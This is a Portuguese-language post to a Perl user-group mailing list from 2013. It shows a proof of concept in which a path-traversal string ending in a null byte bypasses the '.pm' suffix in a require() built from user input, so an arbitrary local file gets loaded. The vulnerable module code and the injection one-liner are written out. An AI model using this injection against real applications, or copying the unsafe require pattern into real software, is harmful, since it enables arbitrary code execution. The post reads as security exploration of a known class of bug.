[SP-pm] Perl e Null byte
Junior Moraes
junior at fvox.com.br
Tue Jun 11 12:14:44 PDT 2013
Hi.
Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
dentro de um webservice que retorna as informações desejadas. Neste módulo,
temos o método adExport() que recebe um parâmetro (que, no caso da
aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
módulo.
Fiquei brincando de manipular o path com esse parâmetro, mas a concatenação
da string '.pm' dificultava as coisas. Porém, como na exploração de um
RFI/LFI (Remote/Local File Inclusion) no PHP, é possível ignorar isso com o
bom e velho null byte[2].
Escrevi um exemplo prático:
$ pwd
/home/fvox/poc
$ cat Module.pm
package Module;
use common::sense;
use Moo;
use Carp;
use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(testing);
sub testing {
my $plugin = shift;
my $module = 'Module/' . $plugin . '.pm';
eval { require $module; };
croak $@ if $@;
$module =~ s/\//::/g;
$module =~ s/\.pm$//gi;
my $obj = $module->new;
}
1;
$ cat inc.pl
print "Null Byte injetado com sucesso! :)\n";
$ perl -MModule -E'say
testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'*Null
Byte injetado com sucesso! :)*
Can't locate object method "new" via package
"Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"
(perhaps you forgot to load
"Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?)
at Module.pm line 21.
Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
possível injetar um 'evil code' num código vulnerável sem muitos problemas.
Suponho que também funcione na função open(), entre outros casos.
Alguém já tinha brincado com isso antes? Hhauhauh
PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de retardado
e brincar com isso em 2013... :P
[1] https://metacpan.org/module/AnyData
[2] http://en.wikipedia.org/wiki/Null_character
--
====================================
Junior "fvox" Moraes
Linux Reg. #557527
junior[at]fvox[dot]com[dot]br
fb[dot]com/juniorfvox
twitter[dot]com/fvox
====================================
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.pm.org/pipermail/saopaulo-pm/attachments/20130611/e050b656/attachment.html>
More information about the SaoPaulo-pm
mailing list